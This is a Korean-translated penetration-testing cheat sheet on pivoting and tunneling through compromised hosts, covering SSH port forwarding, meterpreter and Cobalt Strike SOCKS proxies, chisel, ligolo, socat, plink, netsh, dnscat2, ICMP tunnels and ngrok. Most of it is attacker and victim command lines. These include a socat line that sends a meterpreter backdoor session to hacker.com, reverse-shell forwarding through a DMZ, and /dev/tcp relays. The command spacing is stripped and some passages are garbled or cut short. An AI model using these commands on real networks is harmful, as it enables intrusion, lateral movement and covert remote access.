ICMP 및 SYN 스캔은 소켓 프록시를 통해 터널링할 수 없으므로 핑 탐색을 비활성화(-Pn)하고 TCP 스캔(-sT)을 지정해야 합니다.
Bash
호스트 -> 점프 -> 내부A -> 내부B
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
SSH 그래픽 연결 (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
SSH 서버에서 새 포트 열기 --> 다른 포트
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
로컬 포트 --> 손상된 호스트 (SSH) --> 제3_박스:포트
ssh-issh_key<user>@<ip_compromised>-L<attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
로컬 포트 --> 손상된 호스트 (SSH) --> 어디든지
ssh-f-N-D<attacker_port><username>@<ip_compromised>#All sent to local port will exit through the compromised server (use as proxy)
리버스 포트 포워딩
이것은 DMZ를 통해 내부 호스트에서 귀하의 호스트로 리버스 셸을 얻는 데 유용합니다:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
두 장치 모두에서 루트 권한이 필요합니다(새 인터페이스를 생성할 것이기 때문입니다) 그리고 sshd 설정은 루트 로그인을 허용해야 합니다:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
다른 방법:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS 프록시
모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 비콘을 통해 트래픽을 라우팅하는 데 사용할 수 있습니다.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
이 경우, 포트는 비콘 호스트에서 열립니다, 팀 서버가 아니라 팀 서버로 트래픽이 전송되고, 그곳에서 지정된 호스트:포트로 전송됩니다.
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
에이전트 바인딩 및 리스닝
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attackerlistener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exeTCP-LISTEN:2222OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
당신은 피해자의 콘솔에서 마지막 줄 대신 이 줄을 실행하여 비인증 프록시를 우회할 수 있습니다:
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
attacker> sudosocatTCP4-LISTEN:443,reuseaddr,forkTCP4-LISTEN:2222,reuseaddr#Redirect port 2222 to port 443 in localhostvictim> whiletrue; dosocatTCP4:<attacker>:443TCP4:127.0.0.1:22 ; done# Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
콘솔 PuTTY 버전과 비슷합니다 (옵션은 ssh 클라이언트와 매우 유사합니다).
이 바이너리는 피해자에서 실행될 것이며 ssh 클라이언트이므로, 역 연결을 위해 ssh 서비스와 포트를 열어야 합니다. 그런 다음, 로컬에서만 접근 가능한 포트를 우리 머신의 포트로 포워딩하려면:
echoy|plink.exe-l<Our_valid_username>-pw<valid_password> [-p <port>]-R<port_in_our_host>:<next_ip>:<final_port><your_ip>echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
로컬 관리자여야 합니다 (모든 포트에 대해)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
시스템에 대한 RDP 액세스가 필요합니다.
다운로드:
SocksOverRDP x64 Binaries - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 Dynamic Virtual Channels (DVC)를 사용합니다. DVC는 RDP 연결을 통한 패킷 터널링을 담당합니다.
Proxifier를 사용하여 Windows GUI 앱이 프록시를 통해 탐색하도록 할 수 있습니다.
Profile -> Proxy Servers에서 SOCKS 서버의 IP와 포트를 추가합니다.
Profile -> Proxification Rules에서 프록시화할 프로그램의 이름과 프록시화할 IP에 대한 연결을 추가합니다.
NTLM 프록시 우회
앞서 언급한 도구: RpivotOpenVPN도 이를 우회할 수 있으며, 구성 파일에서 이러한 옵션을 설정합니다:
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
프록시체인 DNS 변경
Proxychains는 gethostbyname libc 호출을 가로채고 TCP DNS 요청을 SOCKS 프록시를 통해 터널링합니다. 기본적으로 proxychains가 사용하는 DNS 서버는 4.2.2.2입니다 (하드코딩됨). 이를 변경하려면 파일을 편집하십시오: /usr/lib/proxychains3/proxyresolv 및 IP를 변경하십시오. Windows 환경에 있는 경우 도메인 컨트롤러의 IP를 설정할 수 있습니다.
두 시스템 모두에서 루트 권한이 필요하여 TUN 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrok는 한 줄의 명령어로 솔루션을 인터넷에 노출하는 도구입니다.
&#xNAN;Exposition URI는 다음과 같습니다:UID.ngrok.io
설치
계정 생성: https://ngrok.com/signup
클라이언트 다운로드:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"